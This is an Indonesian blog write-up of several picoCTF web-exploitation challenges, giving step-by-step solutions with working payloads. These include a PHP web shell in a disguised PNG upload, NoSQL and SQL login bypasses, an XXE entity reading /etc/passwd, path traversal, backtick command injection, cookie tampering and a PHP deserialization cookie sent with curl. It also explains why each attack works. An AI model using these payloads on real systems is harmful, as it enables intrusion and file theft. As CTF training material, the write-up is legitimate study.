PicoCTF Webexploitation WriteUp (Medium)

Trickster

Dalam challange kali ini, saya diarahkan ke sebuah website yg terdapat sebuah form untuk menginput dan mengupload sebuah file.png

1. Buka sebuah file png denga notepad lalu hapus semua isinya dan ganti menjadi PNG <?php echo system('whoami');?> 




2. Buka burpsuite lalu open browser dengan burpsuite. Inputkan file yg telah dibuat sebelumnya dan aktifkan interecept sebelum kita mengupload filenya.






3. Pada bagian nama file, tambahkan .php di paling belakang dan content typenya ganti menjadi aplication/php


4. Send to Repeater lalu klik send pojok kiri atas


5. Matikan intereceptnya lalu refres browser webnya



6. Pada bagian whoami ganti menjadi pwd lalu send lagi dan refres 


7. ganti pwd dengan find / -name "*.txt" lalu send dan refres browser lagi. dan disini kita menemukan file .txt nya



8. Ganti find / -name "*.txt" dengan cat path/filenya/.txt


No Sql Injection 
Kita diarahkan ke sebuah web page yg terdapat form login

masukan payload seperti {"$ne": null} atau {"$ne": 1} lalu klik login


Kita berhasil masuk, akan tetapi tidak ada flag yg ditemukan di sini 

Buka burpsuite, open browser lalu inputkan payload seperti tadi di form login. Sebelum klik login aktifkan intereceptnya dulu

Jika muncul hasilnya, klik kanan lalu send to repeater dan send ulang request dari situ. Di bagian respon server terdapat sesuatu yg menarik seperti cipher base64

Lalu decryp untuk mendapat flagnya

 Catatan:

Ini termasuk sebuah serangan NoSQL Injection ini terjadi ketika aplikasi web tidak memvalidasi input pengguna dengan baik saat melakukan query ke database NoSQL, seperti MongoDB. Akibatnya, penyerang bisa mengubah query dan mendapatkan akses tidak sah.

Kenapa bisa berhasil?

Ketika kamu memasukkan { "$ne": null } ke dalam form login, server mungkin menjalankan query seperti ini di MongoDB:

db.users.find({ "email": input_email, "password": input_password })

Biasanya, jika kamu mengisi email dan password dengan nilai biasa, query ini hanya akan mengembalikan hasil jika email dan password cocok di database.

Namun, ketika kamu mengisi email atau password dengan {"$ne": null}, ini mengubah query menjadi:

db.users.find({ "email": { "$ne": null }, "password": { "$ne": null } })

Di MongoDB, $ne berarti "not equal" (tidak sama dengan). Jadi, query ini sekarang berarti:

  • Cari user yang email-nya tidak null dan password-nya tidak null.

Biasanya, semua akun di database memiliki email dan password yang tidak null. Artinya, query ini akan selalu menemukan setidaknya satu akun dalam database dan bisa saja memberikan akses tanpa perlu password yang valid.


 Perbedaan NoSQL Injection vs SQL Injection

AspekSQL InjectionNoSQL Injection
Target DatabaseMySQL, PostgreSQL, SQLiteMongoDB, Firebase, CouchDB
Bahasa QuerySQL (Structured Query Language)JSON/BSON Query
Metode EksploitasiMemasukkan perintah SQL seperti ' OR 1=1 --Memasukkan JSON seperti { "$ne": null }
Contoh Payload' OR 1=1 -- (bypass login){ "$ne": null } (bypass login di MongoDB)


SOAP

 Buka webnya di burpsuite. Sebelum klik details untuk mengirimkan request ke server, aktivkan interecept nya dulu. Jika sudah lalu klik details, pada request yg di tangkap burpsuite klik kanan lalu send to repeater




Edit bagian <?xml version="1.0"?> <data><ID>1</ID></data> menjadi 
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>
    <ID>&file;</ID>
</data>

Jika sudah klik send untuk mendapat flagnya. 



Catatan:
Ini termasuk eksploitasi XML External Entity (XXE) Injection 

1️⃣ XML Biasa Tanpa XXE (Sebelum Diedit)

Awalnya, kita mengirim XML biasa:

<?xml version="1.0"?> <data> <ID>1</ID> </data>
  • Server membaca XML ini dan mungkin hanya mencari <ID>, lalu mengembalikan data yang sesuai.
  • Tidak ada eksploitasi yang terjadi di sini karena ini adalah request normal.

2️⃣ XML dengan XXE (Setelah Diedit)

Kita mengubah XML menjadi:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <data> <ID>&file;</ID> </data>

Perubahan yang kita buat:

  1. Menambahkan DOCTYPE dengan <!ENTITY>
    • Ini mendefinisikan entitas &file; yang isinya adalah file dari sistem (file:///etc/passwd).
  2. Menggunakan entitas dalam XML (&file;)
    • Saat server memproses <ID>&file;</ID>, dia akan menggantikan &file; dengan isi dari /etc/passwd.

3️⃣ Kenapa Ini Bisa Membocorkan Flag?

  • Banyak aplikasi berbasis Linux menyimpan file penting dalam sistem, misalnya:
    • /etc/passwd → Berisi daftar user sistem.
    • /etc/hostname → Berisi nama server.
    • /home/user/flag.txt → Bisa berisi flag dalam CTF.
  • Jika aplikasi tidak mematikan external entity processing, server akan mengambil isi file tersebut dan mengirimkannya kembali dalam respons HTTP.

Hasil: Server membaca isi /etc/passwd, lalu mengirimkannya ke kita, sehingga kita menemukan flag dalam output!

 Kesimpulan

  1. XML External Entity (XXE) Injection memungkinkan kita membaca file dari server.
  2. Dengan mendefinisikan entitas <!ENTITY file SYSTEM "file:///etc/passwd">, kita bisa meminta server membaca dan menampilkan isi file tersebut.
  3. Jika aplikasi tidak memproteksi XML parsing, kita bisa membaca file sensitif yang mungkin berisi flag dalam CTF.

 

MatchTheRegex

 klik ctrl+u untuk melihat kode programnya dan ada hint p.....F!? 



Saya coba masukan p12345F!? dan menemukan flagnya



findme 

 
Kita diarahkan ke sebuah web dengan form input login. Ketika memasukan username dan password yg telah di sediakan, ktia dialihkan ke halaman web lainnya. Akan tetapi jika kita teliti dalam melihat perubahan pada address bar, sebenarnya kita di redirect ke beberapa halaman web.



Langsung buka di burpsuite, buka browser dan lihat pada bagian http history saat klik test untuk dialihkan ke halaman lainnya. Nah salin kode unik seperti base64 pada bagian URL untuk mendapat flagnya



SQLiLite

Gunakan payload sql injection untuk login
Kitaa sudah berhasil laogin tapi flagnya tidak terlihat. Klik ctrl+u untuk  melihat source codenya

Ketemu flagnya



SQL Direct

ketikan \l untuk menampilkan isi database. Ada 4 tabel di dalamnya. \c untuk masuk ke tabel pico. \dt untuk menampilkan isi tabel pico. ada kolom flags ketik SELECT * FROM flags; untuk melihat isinya. Dan ketemu flagnya.

Secrets

Gunakan gobuster untuk menemukan /path dari web tersebut dan dari situ saya menemukan /secret/hidden/ dan ketika di /path_hidden saya klik ctrl+u dan melihat ada /path_supper_hidden lalu coba ketikan /superhidden/ di address bar. Flagnya tak terlihat, lalu klik ctrl+ u


Search source

Klik ctrl+u untuk melihat source codenya. Klik bagian style.css. lalu cari flagnya dengan ctrl+f 

Roboto Sans

Ketikan robots.txt dan disitu ada sebuah hint berupa cipher base64

Decode di cyber chef


Saya coba buka path 2 2 nya dan salah satunya menampilkan flagnya


Power Cookie

Buka di burpsuite lalu on kan interecept, klik continue as guest untuk mengirimkan request ke server
Hasilnya masih belum terlihat, klik kanan --> send to repeater 
Modifikasi resquest bagian Cookie yg tadinya isAdmin=0 menjadi isAdmin=1

Forbidden Paths

Buka dengan burpsuite dan aktifkan interecept sebelum membaca filenya

klik kanan lalu buka di irepeater. 
Edit bagian filename menjadi filename=../../../../../../flag.txt&read= lalu klik send

caas

Ketika masuk ke soal webnya, kita di beri petunjuk https://caas.mars.picoctf.net/cowsay/{message}. 
Coba copy dan paste link hintnya ke address bar dan akan menampilkan sebuah gambar teka teki


Ketik `ls` di address barnya lalu enter. Muncul hint berupa beberapa nama file termasuk file falg.txt


Coba ganti /`ls` dengan ...../`cat falg.txt` lalu enter dan akan memunculkan flagnya


Catatan= ini sama seprti perintah dasar manajement file di terminal kali linux,. Bedanya ini digunakan dalam address bar dan jika ingin menjalankan perintah ls, cat dll harus diapit dengan tanda ``


Where Are You

curl -v -A "PicoBrowser" \

     -H "Referer: http://mercury.picoctf.net:46199/" \

     -H "Date: Sun, 10 Jun 2018 12:00:00 GMT" \

     -H "DNT: 1" \

     -H "X-Forwarded-For: 90.230.0.1" \

     -H "Accept-Language: sv-SE,sv;q=0.9" \

     --cookie "" \

     http://mercury.picoctf.net:46199/


Super Serial

curl -v --cookie 'login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9' mercury.picoctf.net:8404/authentication.php
* Host mercury.picoctf.net:8404 was resolved.
* IPv6: (none)
* IPv4: 18.189.209.142
*   Trying 18.189.209.142:8404...
* Connected to mercury.picoctf.net (18.189.209.142) port 8404
* using HTTP/1.x
> GET /authentication.php HTTP/1.1
> Host: mercury.picoctf.net:8404
> User-Agent: curl/8.11.1
> Accept: */*
> Cookie: login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
* Request completely sent off
< HTTP/1.1 200 OK
< Set-Cookie: PHPSESSID=rvdo8e9l04c72dfa59ev74tla6; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-type: text/html; charset=UTF-8
* no chunk, no close, no size. Assume close to signal end
* shutting down connection #0
Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_66832978}




Posting Komentar

0 Komentar